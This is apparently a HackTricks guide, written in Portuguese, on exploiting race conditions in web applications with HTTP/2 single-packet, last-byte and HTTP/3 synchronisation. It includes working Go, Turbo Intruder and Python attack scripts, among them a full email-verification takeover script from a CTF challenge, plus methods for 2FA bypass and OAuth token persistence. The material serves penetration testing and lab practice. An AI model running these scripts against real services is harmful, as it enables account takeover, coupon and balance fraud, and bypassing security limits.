Race Condition

Reading time: 18 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks

warning

Para obter uma compreensão aprofundada desta técnica consulte o relatório original em https://portswigger.net/research/smashing-the-state-machine

Aprimorando ataques de Race Condition

O maior obstáculo para tirar proveito de race conditions é garantir que múltiplas requisições sejam tratadas ao mesmo tempo, com diferença muito pequena nos seus tempos de processamento — idealmente, menos de 1ms.

Aqui você encontra algumas técnicas para sincronizar requisições:

HTTP/2 Single-Packet Attack vs. HTTP/1.1 Last-Byte Synchronization

  • HTTP/2: Suporta o envio de duas requisições sobre uma única conexão TCP, reduzindo o impacto do jitter de rede. No entanto, devido a variações no lado do servidor, duas requisições podem não ser suficientes para um exploit consistente de race condition.
  • HTTP/1.1 'Last-Byte Sync': Permite o pré-envio da maior parte de 20-30 requisições, retendo um pequeno fragmento, que então é enviado junto, alcançando chegada simultânea no servidor.

Preparação para Last-Byte Sync envolve:

  1. Enviar os headers e os dados do body menos o byte final sem encerrar o stream.
  2. Pausar por 100ms após o envio inicial.
  3. Desabilitar TCP_NODELAY para utilizar o algoritmo de Nagle para agrupar os frames finais.
  4. Fazer ping para aquecer a conexão.

O envio subsequente dos frames retidos deve resultar na chegada deles em um único pacote, verificável via Wireshark. Este método não se aplica a arquivos estáticos, que tipicamente não estão envolvidos em RC attacks.

HTTP/3 Last‑Frame Synchronization (QUIC)

  • Conceito: HTTP/3 roda sobre QUIC (UDP). Não há coalescência de TCP nem Nagle para se apoiar, então o clássico last‑byte sync não funciona com clientes padrão. Em vez disso, é preciso coalescer deliberadamente múltiplos frames DATA finais de stream do QUIC (FIN) no mesmo datagrama UDP para que o servidor processe todas as requisições alvo no mesmo tick de escalonamento.
  • How to do it: Use uma biblioteca feita para isso que exponha controle de frames QUIC. Por exemplo, H3SpaceX manipula quic-go para implementar HTTP/3 last‑frame synchronization tanto para requests com body quanto para requests estilo GET sem body.
  • Requests‑with‑body: enviar HEADERS + DATA menos o último byte para N streams, então flush o byte final de cada stream juntos.
  • GET‑style: criar DATA frames falsos (ou um body mínimo com Content‑Length) e encerrar todos os streams em um único datagrama.
  • Practical limits:
  • A concorrência é limitada pelo parâmetro de transporte max_streams do peer no QUIC (semelhante a HTTP/2’s SETTINGS_MAX_CONCURRENT_STREAMS). Se for baixo, abra múltiplas conexões H3 e distribua a race entre elas.
  • O tamanho do datagrama UDP e o path MTU limitam quantos frames finais de stream você pode coalescer. A biblioteca cuida de dividir em múltiplos datagramas se necessário, mas um flush em um único datagrama é mais confiável.
  • Prática: Existem labs públicos de race H2/H3 e sample exploits que acompanham H3SpaceX.
HTTP/3 last‑frame sync (Go + H3SpaceX) exemplo mínimo
go
package main
import (
"crypto/tls"
"context"
"time"
"github.com/nxenon/h3spacex"
h3 "github.com/nxenon/h3spacex/http3"
)
func main(){
tlsConf := &tls.Config{InsecureSkipVerify:true, NextProtos:[]string{h3.NextProtoH3}}
quicConf := &quic.Config{MaxIdleTimeout:10*time.Second, KeepAlivePeriod:10*time.Millisecond}
conn, _ := quic.DialAddr(context.Background(), "IP:PORT", tlsConf, quicConf)
var reqs []*http.Request
for i:=0;i<50;i++{ r,_ := h3.GetRequestObject("https://target/apply", "POST", map[string]string{"Cookie":"sess=...","Content-Type":"application/json"}, []byte(`{"coupon":"SAVE"}`)); reqs = append(reqs,&r) }
// keep last byte (1), sleep 150ms, set Content-Length
h3.SendRequestsWithLastFrameSynchronizationMethod(conn, reqs, 1, 150, true)
}

Adaptando-se à Arquitetura do Servidor

Compreender a arquitetura do alvo é crucial. Servidores front-end podem roteear requisições de forma diferente, afetando o tempo. Aquecimento preemptivo de conexões no lado do servidor, por meio de requisições inconsequentes, pode normalizar os tempos das requisições.

Lidando com Bloqueios Baseados em Sessão

Frameworks como o session handler do PHP serializam requisições por sessão, potencialmente ocultando vulnerabilidades. Utilizar tokens de sessão diferentes para cada requisição pode contornar esse problema.

Superando Limites de Taxa ou Recursos

Se o aquecimento de conexão for ineficaz, provocar intencionalmente atrasos de limite de taxa ou recursos nos servidores web através de um fluxo de requisições fictícias pode facilitar o single-packet attack ao induzir um atraso no lado do servidor favorável a condições de corrida.

Exemplos de Ataques

  • Turbo Intruder - HTTP2 single-packet attack (1 endpoint): You can send the request to Turbo intruder (Extensions -> Turbo Intruder -> Send to Turbo Intruder), you can change in the request the value you want to brute force for %s like in csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s and then select the examples/race-single-packer-attack.py from the drop down:

Se você for enviar valores diferentes, você pode modificar o código com este que usa uma wordlist da área de transferência:

python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')

warning

Se o site não suportar HTTP2 (apenas HTTP1.1), use Engine.THREADED ou Engine.BURP em vez de Engine.BURP2.

  • Turbo Intruder - HTTP2 single-packet attack (Several endpoints): Caso seja necessário enviar uma requisição para 1 endpoint e depois várias para outros endpoints para disparar o RCE, você pode alterar o script race-single-packet-attack.py para algo como:
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
  • Também está disponível no Repeater via a nova opção 'Send group in parallel' no Burp Suite.
  • Para limit-overrun basta adicionar a same request 50 times no grupo.
  • Para connection warming, você pode add no beginning do group algumas requests para alguma parte não estática do servidor web.
  • Para delaying o processo between processar one request and another em 2 substates steps, você pode add extra requests between ambas as requests.
  • Para um RC multi-endpoint você pode começar enviando a request que goes to the hidden state e então 50 requests logo depois que exploits the hidden state.
  • Script Python automatizado: O objetivo deste script é alterar o email de um usuário enquanto o verifica continuamente até que o token de verificação do novo email chegue ao email antigo (isso acontece porque no código havia um RC onde era possível modificar um email mas a verificação era enviada para o antigo, já que a variável que indica o email já estava populada com o primeiro).
    Quando a palavra "objetivo" é encontrada nos emails recebidos, sabemos que recebemos o token de verificação do email alterado e encerramos o ataque.
python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: "+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: "+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)

# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)

Turbo Intruder: engine and gating notes

  • Seleção do engine: use Engine.BURP2 em alvos HTTP/2 para disparar o single‑packet attack; em HTTP/1.1, volte para Engine.THREADED ou Engine.BURP para last‑byte sync.
  • gate/openGate: enfileire muitas cópias com gate='race1' (ou gates por tentativa), que retém a cauda de cada request; openGate('race1') libera todas as caudas juntas para que cheguem quase simultaneamente.
  • Diagnósticos: timestamps negativos no Turbo Intruder indicam que o servidor respondeu antes do request ser totalmente enviado, provando sobreposição. Isso é esperado em races reais.
  • Connection warming: envie um ping ou alguns requests inofensivos primeiro para estabilizar os timings; opcionalmente desative TCP_NODELAY para incentivar o batching dos frames finais.

Improving Single Packet Attack

Na pesquisa original é explicado que este ataque tem um limite de 1.500 bytes. No entanto, em this post, foi explicado como é possível estender a limitação de 1.500 bytes do single packet attack para a 65,535 B window limitation of TCP by using IP layer fragmentation (dividindo um único pacote em múltiplos pacotes IP) e enviando-os em ordens diferentes, impedindo que o pacote seja reassemblado até que todos os fragmentos cheguem ao servidor. Essa técnica permitiu ao pesquisador enviar 10.000 requests em cerca de 166ms.

Note que embora essa melhoria torne o ataque mais confiável em RCs que exigem centenas/milhares de packets para chegarem ao mesmo tempo, ela também pode ter algumas limitações de software. Alguns servidores HTTP populares como Apache, Nginx e Go têm um SETTINGS_MAX_CONCURRENT_STREAMS rígido definido para 100, 128 e 250. Porém, outros como NodeJS e nghttp2 têm isso ilimitado.
Isso basicamente significa que o Apache só considerará 100 conexões HTTP de uma única conexão TCP (limitando este RC attack). Para HTTP/3, o limite análogo é o parâmetro de transporte max_streams do QUIC – se for pequeno, espalhe seu race por múltiplas conexões QUIC.

Você pode encontrar alguns exemplos usando essa técnica no repo https://github.com/Ry0taK/first-sequence-sync/tree/main.

Raw BF

Antes da pesquisa anterior, estes eram alguns payloads usados que apenas tentavam enviar os packets o mais rápido possível para causar um RC.

  • Repeater: Confira os exemplos da seção anterior.
  • Intruder: Envie o request para o Intruder, ajuste o number of threads para 30 dentro do Options menu, selecione como payload Null payloads e gere 30.
  • Turbo Intruder
python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
  • Python - asyncio
python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())

RC Methodology

Limit-overrun / TOCTOU

Este é o tipo mais básico de race condition onde vulnerabilities que appear em lugares que limit the number of times you can perform an action. Como usar o mesmo código de desconto várias vezes em uma loja online. Um exemplo muito fácil pode ser encontrado em this report ou em this bug.

There are many variations of this kind of attack, including:

  • Resgatar um gift card múltiplas vezes
  • Avaliar um produto várias vezes
  • Sacar ou transferir dinheiro além do saldo da conta
  • Reutilizar uma única solução CAPTCHA
  • Burlar um rate limit anti-brute-force

Hidden substates

Explorar race conditions complexos frequentemente envolve aproveitar pequenas janelas para interagir com subestados de máquina ocultos ou unintended machine substates. Aqui está como abordar isso:

  1. Identify Potential Hidden Substates
  • Comece identificando endpoints que modificam ou interagem com dados críticos, como perfis de usuário ou processos de password reset. Foque em:
  • Storage: Prefira endpoints que manipulam dados persistentes no server-side em vez daqueles que lidam com dados no client-side.
  • Action: Procure operações que alterem dados existentes, que são mais propensas a criar condições exploráveis comparadas àquelas que adicionam novos dados.
  • Keying: Ataques bem-sucedidos normalmente envolvem operações chaves no mesmo identificador, por exemplo, username ou reset token.
  1. Conduct Initial Probing
  • Teste os endpoints identificados com ataques de race condition, observando quaisquer desvios dos resultados esperados. Respostas inesperadas ou mudanças no comportamento da aplicação podem sinalizar uma vulnerabilidade.
  1. Demonstrate the Vulnerability
  • Reduza o ataque ao número mínimo de requisições necessárias para explorar a vulnerabilidade, frequentemente apenas duas. Esta etapa pode requerer múltiplas tentativas ou automação devido ao timing preciso envolvido.

Time Sensitive Attacks

A precisão no timing das requisições pode revelar vulnerabilidades, especialmente quando métodos previsíveis como timestamps são usados para security tokens. Por exemplo, gerar password reset tokens com base em timestamps pode permitir tokens idênticos para requisições simultâneas.

To Exploit:

  • Use timing preciso, como um single packet attack, para fazer requisições de password reset concorrentes. Tokens idênticos indicam uma vulnerabilidade.

Example:

  • Solicite dois password reset tokens ao mesmo tempo e compare-os. Tokens iguais sugerem uma falha na geração de tokens.

Check this PortSwigger Lab to try this.

Hidden substates case studies

Pay & add an Item

Confira este PortSwigger Lab para ver como pagar em uma loja e adicionar um item extra que você não precisará pagar.

Confirm other emails

A ideia é verificar um endereço de email e alterá-lo para um diferente ao mesmo tempo para descobrir se a plataforma verifica o novo email alterado.

De acordo com this research o Gitlab foi vulnerável a um takeover dessa maneira porque ele poderia enviar o email verification token de um email para o outro.

Check this PortSwigger Lab to try this.

Hidden Database states / Confirmation Bypass

Se 2 different writes são usadas para add information dentro de um database, existe uma pequena janela de tempo onde apenas os primeiros dados foram escritos no database. Por exemplo, ao criar um usuário o username e a password podem ser escritos e depois o token para confirmar a conta recém-criada é escrito. Isso significa que por um curto período o token to confirm an account is null.

Portanto registrar uma conta e enviar várias requisições com um token vazio (token= or token[]= or any other variation) para confirmar a conta imediatamente poderia permitir a confirmar uma conta onde você não controla o email.

Check this PortSwigger Lab to try this.

Bypass 2FA

The following pseudo-code is vulnerable to race condition because in a very small time the 2FA não é aplicada while the session is created:

python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form

Persistência eterna no OAuth2

There are several OAUth providers. Esses serviços permitirão que você crie uma aplicação e autentique usuários que o provider registrou. Para isso, o client precisará permitir que sua aplicação acesse parte dos dados deles dentro do OAUth provider.
Então, até aqui é apenas um login comum com google/linkedin/github... onde você é apresentado a uma página dizendo: "Application wants to access you information, do you want to allow it?"

Race Condition in authorization_code

O problema aparece quando você aceita e automaticamente envia um authorization_code para a aplicação maliciosa. Em seguida, essa aplicação abusa de uma Race Condition no provedor de serviço OAUth para gerar mais de um AT/RT (Authentication Token/Refresh Token) a partir do authorization_code para sua conta. Basicamente, ela irá abusar do fato de que você aceitou a aplicação acessar seus dados para criar várias contas. Então, se você parar de permitir que a aplicação acesse seus dados, um par de AT/RT será deletado, mas os outros ainda permanecerão válidos.

Race Condition in Refresh Token

Uma vez que você obteve um RT válido você pode tentar abusar dele para gerar vários AT/RT e, mesmo que o usuário cancele as permissões para a aplicação maliciosa acessar seus dados, vários RTs ainda permanecerão válidos.

RC in WebSockets

  • In WS_RaceCondition_PoC you can find a PoC in Java to send websocket messages in parallel to abuse Race Conditions also in Web Sockets.
  • With Burp’s WebSocket Turbo Intruder you can use the THREADED engine to spawn multiple WS connections and fire payloads in parallel. Start from the official example and tune config() (thread count) for concurrency; this is often more reliable than batching on a single connection when racing server‑side state across WS handlers. See RaceConditionExample.py.

References

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporte o HackTricks